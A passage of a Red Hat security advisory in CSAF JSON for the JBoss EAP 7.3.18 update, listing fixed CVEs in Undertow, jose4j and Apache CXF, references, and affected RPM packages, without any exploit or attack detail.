| https://bugzilla.redhat.com/show_bug.cgi?id=2392306 | external |
| https://bugzilla.redhat.com/show_bug.cgi?id=2408784 | external |
| https://bugzilla.redhat.com/show_bug.cgi?id=2423194 | external |
| https://issues.redhat.com/browse/JBEAP-31703 | external |
| https://issues.redhat.com/browse/JBEAP-33004 | external |
| https://security.access.redhat.com/data/csaf/v2/a… | self |
| https://access.redhat.com/security/cve/CVE-2024-29371 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2423194 | external |
| https://www.cve.org/CVERecord?id=CVE-2024-29371 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2024-29371 | external |
| https://bitbucket.org/b_c/jose4j/issues/220/vuln-… | external |
| https://access.redhat.com/security/cve/CVE-2025-9784 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2392306 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-9784 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-9784 | external |
| https://github.com/undertow-io/undertow/pull/1778 | external |
| https://github.com/undertow-io/undertow/releases/… | external |
| https://issues.redhat.com/browse/UNDERTOW-2598 | external |
| https://kb.cert.org/vuls/id/767506 | external |
| https://access.redhat.com/security/cve/CVE-2025-12543 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2408784 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-12543 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-12543 | external |
| https://access.redhat.com/security/cve/CVE-2025-13465 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2431740 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-13465 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-13465 | external |
| https://github.com/lodash/lodash/security/advisor… | external |
| https://access.redhat.com/security/cve/CVE-2025-15284 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2425946 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-15284 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-15284 | external |
| https://github.com/ljharb/qs/commit/3086902ecf7f0… | external |
| https://github.com/ljharb/qs/security/advisories/… | external |
| https://access.redhat.com/security/cve/CVE-2025-23184 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2339095 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-23184 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-23184 | external |
| https://lists.apache.org/thread/lfs8l63rnctnj2skf… | external |
| https://access.redhat.com/security/cve/CVE-2025-23368 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2337621 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-23368 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-23368 | external |
| https://www.gruppotim.it/it/footer/red-team.html | external |
| https://access.redhat.com/security/cve/CVE-2025-66412 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2418155 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-66412 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-66412 | external |
| https://github.com/angular/angular/commit/1c6b070… | external |
| https://github.com/angular/angular/security/advis… | external |
| https://access.redhat.com/security/cve/CVE-2025-69873 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2439070 | external |
| https://www.cve.org/CVERecord?id=CVE-2025-69873 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2025-69873 | external |
| https://github.com/EthanKim88/ethan-cve-disclosur… | external |
| https://access.redhat.com/security/cve/CVE-2026-1002 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2430180 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-1002 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-1002 | external |
| https://github.com/eclipse-vertx/vert.x/pull/5895 | external |
| https://access.redhat.com/security/cve/CVE-2026-24842 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2433645 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-24842 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-24842 | external |
| https://github.com/isaacs/node-tar/commit/f4a7aa9… | external |
| https://github.com/isaacs/node-tar/security/advis… | external |
Acknowledgments
Ahmet Artuç
TIM S.p.A
Claudia Bartolini
Marco Ventura
Massimiliano Brolli
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "An update is now available for Red Hat JBoss Enterprise Application Platform 7.3 for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.",
"title": "Topic"
},
{
"category": "general",
"text": "Red Hat JBoss Enterprise Application Platform 7 is a platform for Java applications based on the WildFly application runtime. This release of Red Hat JBoss Enterprise Application Platform 7.3.18 serves as a replacement for Red Hat JBoss Enterprise Application Platform 7.3.17, and includes bug fixes and enhancements. See the Red Hat JBoss Enterprise Application Platform 7.3.18 Release Notes for information about the most significant bug fixes and enhancements included in this release.\n\nSecurity Fix(es):\n\n* jose4j: From CVEorg collector (CVE-2024-29371)\n\n* undertow-core: Undertow HTTP Server Fails to Reject Malformed Host Headers Leading to Potential Cache Poisoning and SSRF (CVE-2025-12543)\n\n* org.apache.cxf/cxf-core: Apache CXF: Denial of Service vulnerability with temporary files (CVE-2025-23184)\n\n* undertow-core: Undertow MadeYouReset HTTP/2 DDoS Vulnerability (CVE-2025-9784)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:33371",
"url": "https://access.redhat.com/errata/RHSA-2026:33371"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/#important",
"url": "https://access.redhat.com/security/updates/classification/#important"
},
{
"category": "external",
"summary": "https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.3",
"url": "https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.3"
},
{
"category": "external",
"summary": "https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.3/html-single/installation_guide/index",
"url": "https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.3/html-single/installation_guide/index"
},
{
"category": "external",
"summary": "https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.3/html/7.3.0_release_notes/index",
"url": "https://docs.redhat.com/en/documentation/red_hat_jboss_enterprise_application_platform/7.3/html/7.3.0_release_notes/index"
},
{
"category": "external",
"summary": "2339095",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2339095"
},
{
"category": "external",
"summary": "2392306",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2392306"
},
{
"category": "external",
"summary": "2408784",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2408784"
},
{
"category": "external",
"summary": "2423194",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2423194"
},
{
"category": "external",
"summary": "JBEAP-31703",
"url": "https://issues.redhat.com/browse/JBEAP-31703"
},
{
"category": "external",
"summary": "JBEAP-33004",
"url": "https://issues.redhat.com/browse/JBEAP-33004"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_33371.json"
}
],
"title": "Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 7.3.18 security update",
"tracking": {
"current_release_date": "2026-07-22T15:08:24+00:00",
"generator": {
"date": "2026-07-22T15:08:24+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.7"
}
},
"id": "RHSA-2026:33371",
"initial_release_date": "2026-06-30T00:13:50+00:00",
"revision_history": [
{
"date": "2026-06-30T00:13:50+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-06-30T00:13:50+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-07-22T15:08:24+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product": {
"name": "Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:jboss_enterprise_application_platform_eus:7.3::el7"
}
}
}
],
"category": "product_family",
"name": "Red Hat JBoss Enterprise Application Platform"
},
{
"branches": [
{
"category": "product_version",
"name": "eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"product": {
"name": "eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"product_id": "eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-apache-cxf@3.4.10-4.SP2_redhat_00004.1.el7eap?arch=src"
}
}
},
{
"category": "product_version",
"name": "eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"product": {
"name": "eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"product_id": "eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.src",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-undertow@2.0.41-8.SP9_redhat_00001.1.el7eap?arch=src"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"product": {
"name": "eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"product_id": "eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.src",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration@1.7.2-23.Final_redhat_00025.1.el7eap?arch=src"
}
}
},
{
"category": "product_version",
"name": "eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"product": {
"name": "eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"product_id": "eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.src",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-wildfly@7.3.18-3.GA_redhat_00001.1.el7eap?arch=src"
}
}
}
],
"category": "architecture",
"name": "src"
},
{
"branches": [
{
"category": "product_version",
"name": "eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"product": {
"name": "eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"product_id": "eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-apache-cxf@3.4.10-4.SP2_redhat_00004.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"product": {
"name": "eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"product_id": "eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-apache-cxf-rt@3.4.10-4.SP2_redhat_00004.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"product": {
"name": "eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"product_id": "eap7-apache-cxf-services-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-apache-cxf-services@3.4.10-4.SP2_redhat_00004.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"product": {
"name": "eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"product_id": "eap7-apache-cxf-tools-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-apache-cxf-tools@3.4.10-4.SP2_redhat_00004.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"product": {
"name": "eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"product_id": "eap7-undertow-0:2.0.41-8.SP9_redhat_00001.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-undertow@2.0.41-8.SP9_redhat_00001.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-cli-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-cli@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-core-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-core@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-eap6.4-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-eap6.4@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-eap6.4-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-eap6.4-to-eap7.3@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-eap7.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-eap7.0@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-eap7.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-eap7.1@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-eap7.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-eap7.2@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-eap7.2-to-eap7.3-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-eap7.2-to-eap7.3@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-eap7.3-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-eap7.3-server@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-wildfly10.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-wildfly10.0@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-wildfly10.1-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-wildfly10.1@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-wildfly11.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-wildfly11.0@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-wildfly12.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-wildfly12.0@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-wildfly13.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-wildfly13.0-server@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-wildfly14.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-wildfly14.0-server@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-wildfly15.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-wildfly15.0-server@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-wildfly16.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-wildfly16.0-server@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-wildfly17.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-wildfly17.0-server@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-wildfly18.0-server-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-wildfly18.0-server@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-wildfly8.2-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-wildfly8.2@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product": {
"name": "eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_id": "eap7-jboss-server-migration-wildfly9.0-0:1.7.2-23.Final_redhat_00025.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-jboss-server-migration-wildfly9.0@1.7.2-23.Final_redhat_00025.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"product": {
"name": "eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"product_id": "eap7-wildfly-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-wildfly@7.3.18-3.GA_redhat_00001.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"product": {
"name": "eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"product_id": "eap7-wildfly-java-jdk11-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-wildfly-java-jdk11@7.3.18-3.GA_redhat_00001.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"product": {
"name": "eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"product_id": "eap7-wildfly-java-jdk8-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-wildfly-java-jdk8@7.3.18-3.GA_redhat_00001.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"product": {
"name": "eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"product_id": "eap7-wildfly-javadocs-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-wildfly-javadocs@7.3.18-3.GA_redhat_00001.1.el7eap?arch=noarch"
}
}
},
{
"category": "product_version",
"name": "eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"product": {
"name": "eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"product_id": "eap7-wildfly-modules-0:7.3.18-3.GA_redhat_00001.1.el7eap.noarch",
"product_identification_helper": {
"purl": "pkg:rpm/redhat/eap7-wildfly-modules@7.3.18-3.GA_redhat_00001.1.el7eap?arch=noarch"
}
}
}
],
"category": "architecture",
"name": "noarch"
}
],
"category": "vendor",
"name": "Red Hat"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch"
},
"product_reference": "eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src"
},
"product_reference": "eap7-apache-cxf-0:3.4.10-4.SP2_redhat_00004.1.el7eap.src",
"relates_to_product_reference": "7Server-JBEAP-7.3-EUS"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch as a component of Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7 Server",
"product_id": "7Server-JBEAP-7.3-EUS:eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch"
},
"product_reference": "eap7-apache-cxf-rt-0:3.4.10-4.SP2_redhat_00004.1.el7eap.noarch",
